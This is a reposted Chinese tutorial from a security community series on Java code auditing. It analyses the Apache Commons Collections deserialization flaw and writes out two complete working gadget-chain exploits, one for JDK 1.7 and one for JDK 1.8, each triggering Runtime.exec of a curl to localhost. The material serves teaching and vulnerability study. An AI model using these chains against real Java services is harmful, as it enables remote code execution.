转载

从零开始java代码审计系列(一)

从零开始java代码审计系列(一)

此文为原创文章

作者:p0desta@先知社区

恭喜作者获得

价值100元的天猫超市享淘卡一张

欢迎更多优质原创、翻译作者加入

ASRC文章奖励计划

欢迎多多投稿到先知社区

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

从php代码审计到java代码审计还是有很大不同的,语言特性,漏洞产生的点等等,很多人都是php入门,同样我也是,但是说实话,java也是必须要掌握的,这里我选择分析一些经典的漏洞来熟悉java的代码审计,如果有理解错误的地方,希望得到师傅们的斧正。

Apache Commons Collections反序列化漏洞

首先利用 maven 进行自动下载下来包,看 /org/apache/commons/collections/functors/InvokerTransformer.class

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

这个transform方法里面可以看到有个反射调用 return method.invoke(input, this.iArgs); ,但是只有这里的话显然并不能RCE

继续看 /org/apache/commons/collections/functors/ChainedTransformer.class

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这里可以看出来是挨个遍历transformer,调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,怎么通过这里来执行命令呢,来看

public static void main(String[] args)
    {
        Transformer[] transformers = {
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(Runtime.getRuntime());
    }

当传入 transformers 后进行

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

当传入 InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

这里都会赋值,然后这里就会调用到

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

return method.invoke(Runtime.getRuntime(), new Object[] {"curl http://127.0.0.1:10000"});

执行命令,但是这是我们构造出来的,环境中不可能有 transformerChain.transform(Runtime.getRuntime());

这样的操作,我们可以在 /org/apache/commons/collections/functors/ConstantTransformer.class 找到

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

传入了个Object对象,然后transform方法原样返回,看代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {

    public static void main(String[] args)
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime() ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new test2(transformers);
        transformerChain.transform("aa");
    }
}

class test2 implements Transformer{
    private final Transformer[] iTransformers;
    public test2(Transformer[] transformers) { this.iTransformers = transformers; }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            System.out.println(object.getClass());
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}

这里我将ChainedTransformer类重写了一些,方便观察调试。

因为在 ConstantTransformer 中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。

那么能否直接这样构造进行序列化呢,编写代码试试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {

    public static void main(String[] args)
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.getRuntime() ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new test2(transformers);

        try{
            File f = new File("expobject");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(transformerChain);
            out.flush();
            out.close();
        }catch (IOException e){
            e.printStackTrace();
        }
        try {
            FileInputStream f = new FileInputStream("expobject");
            ObjectInputStream oin = new ObjectInputStream(f);
            Transformer expobject = (Transformer)oin.readObject();
            expobject.transform("cc");
            System.out.println(expobject.getClass());
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }catch (ClassNotFoundException e){
            e.printStackTrace();
        }catch (IOException e){
            e.printStackTrace();
        }
    }
}
class test2 implements Transformer, Serializable{
    private final Transformer[] iTransformers;
    public test2(Transformer[] transformers) { this.iTransformers = transformers; }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            System.out.println(object.getClass());
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}

从零开始java代码审计系列(一)

可以看到实例化后的对象 Runtime 不允许序列化,那么我们继续修改

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test {

    public static void main(String[] args)
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new test2(transformers);

        try{
            File f = new File("expobject");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(transformerChain);
            out.flush();
            out.close();
        }catch (IOException e){
            e.printStackTrace();
        }
        try {
            FileInputStream f = new FileInputStream("expobject");
            ObjectInputStream oin = new ObjectInputStream(f);
            Transformer expobject = (Transformer)oin.readObject();
            expobject.transform("cc");
            System.out.println(expobject.getClass());
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }catch (ClassNotFoundException e){
            e.printStackTrace();
        }catch (IOException e){
            e.printStackTrace();
        }
    }
}
class test2 implements Transformer, Serializable{
    private final Transformer[] iTransformers;
    public test2(Transformer[] transformers) { this.iTransformers = transformers; }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            System.out.println(object.getClass());
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}

整个调用链是

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("curl http://127.0.0.1:10000")

简单整理下调用,不然不是很好理解

object = ConstantTransformer.transform("cc");
public Object transform(Object input) {
        return Runtime.class;
    }

object = InvokerTransformer.transform(Runtime.class);
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", this.iParamTypes);
return method.invoke("Runtime.class", "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime"));
Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass();
Method method = cls.getMethod("invoke", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime");

object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke());
Class cls = Runtime.class.getMethod("getRuntime").invoke().getMethod("getRuntime").getClass();
Method method = cls.getMethod("exec", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime").invoke(), "curl http://127.0.0.1:10000");

代码执行部分已经分析的差不多了,但是哪里有合适的构造点呢,根据网上的,我们来分析一下

攻击链(一)

我们来看 /org/apache/commons/collections/map/TransformedMap.class

protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

这里的话只要 valueTransformer 可控即可利用我们上面的调用链,

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

当我们初始化的时候是可以控制的,怎么触发呢,继续看

public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

当进入put方法的时候会触发,根据上面的调用链我们之后 value 是可以任意值的,修改代码

public static void main(String[] args)
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
        transformedmap.put("1", "2");

这样我们即可进行命令执行。

然后我们要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。

但是我并没有找到有对map执行put的操作

这里还有一处可以实现一样的效果,这里的实现原理跟put那是一样的

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

什么时候会调用到 checkSetValue 方法呢

在它所继承的父类 AbstractInputCheckedMapDecorator

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

有个 MapEntry 的内部类,这里面实现了 setValue ,并且会触发 checkSetValue ,然后我们需要找一个readObject中有对map执行setValue的操作。

在jdk小于1.7的时候 /reflect/annotation/AnnotationInvocationHandler.class 中,readObject中有对map的修改功能,这里我下载了jdk1.7来看下

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

我们先看下payload触发的调用堆栈

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "2");

        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
    }
}

从零开始java代码审计系列(一)

从零开始java代码审计系列(一)

可以看到通过构造payload将构造的map成功传到var2,继续跟到readObject来看一下

这里如果不动态调一下的话不太好理解

从零开始java代码审计系列(一)

首先是获取了 java.lang.annotation.Retention 的实例,然后跟进到 memberTypes 方法

从零开始java代码审计系列(一)

会返回一个map,继续往下走到 Iterator var4 = this.memberValues.entrySet().iterator();

因为这里 this.memberValues=TransformedMap 对象,然后调用其父类的 entrySet 方法

然后内部类会返回一个迭代器

从零开始java代码审计系列(一)

从零开始java代码审计系列(一)

通过这里我们可以知道为什么key一定要为 value ,我们需要让 var7 这个变量获取到 java.lang.annotation.RetentionPolicy

然后是判断两个是否是实例的判断,然后进入到

从零开始java代码审计系列(一)

然后这里就调用到了

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

进入 checkSetValue ,也就是可以触发的地方,来看

从零开始java代码审计系列(一)

攻击链(二)

攻击链一种的触发操作在jdk1.8是不存在的,那么我们来分析下jdk1.8中的攻击链,

我们还可以找到另外一处调 transform 可控的地方,

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

首先,map中如果不包含这个key那么就可以进入 transform ,并且可以看到factory也是我们可控的

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

也就是说只要让 factorytransformerChain 对象即可触发,key的值没啥影响

那么什么时候会调用get方法呢,可以找到 /org/apache/commons/collections/keyvalue/TiedMapEntry.class

public Object getValue() {
        return this.map.get(this.key);
    }

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

在toString方法中会调用,那么java中的toString什么时候调用呢

这里的toString方法的作用其实跟php的是差不多的

现在我们我还差一步,就是哪里可以触发这个 toString 进而触发getValue呢

来看 /javax/management/BadAttributeValueExpException.java 中的readObject方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

这里我们并不会触发 setSecurityManager0 的操作,也就是说在 System.getSecurityManager() 会返回null,那么就会触发toString,然后我们只要让val个变量的值为 TiedMapEntry 对象即可触发,因为这里是个私有变量,所以我们通过反射所有变量来赋值,那么整个攻击链就构造完成了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException ins = new BadAttributeValueExpException(null);

        Field valfield = ins.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(ins, entry);

        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
        ois.close();
    }
}

参考:

https://www.anquanke.com/post/id/82934
https://p0sec.net/index.php/archives/121/
https://security.tencent.com/index.php/blog/msg/97

从零开始java代码审计系列(一)

从零开始java代码审计系列(一)

从零开始java代码审计系列(一)

请猛戳右边二维码

Twitter:AsrcSecurity

公众号ID

阿里安全响应中心

从零开始java代码审计系列(一)

原文  http://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652989900&idx=1&sn=18b69fc05348b9086e9079acf0e0578d
正文到此结束
Loading...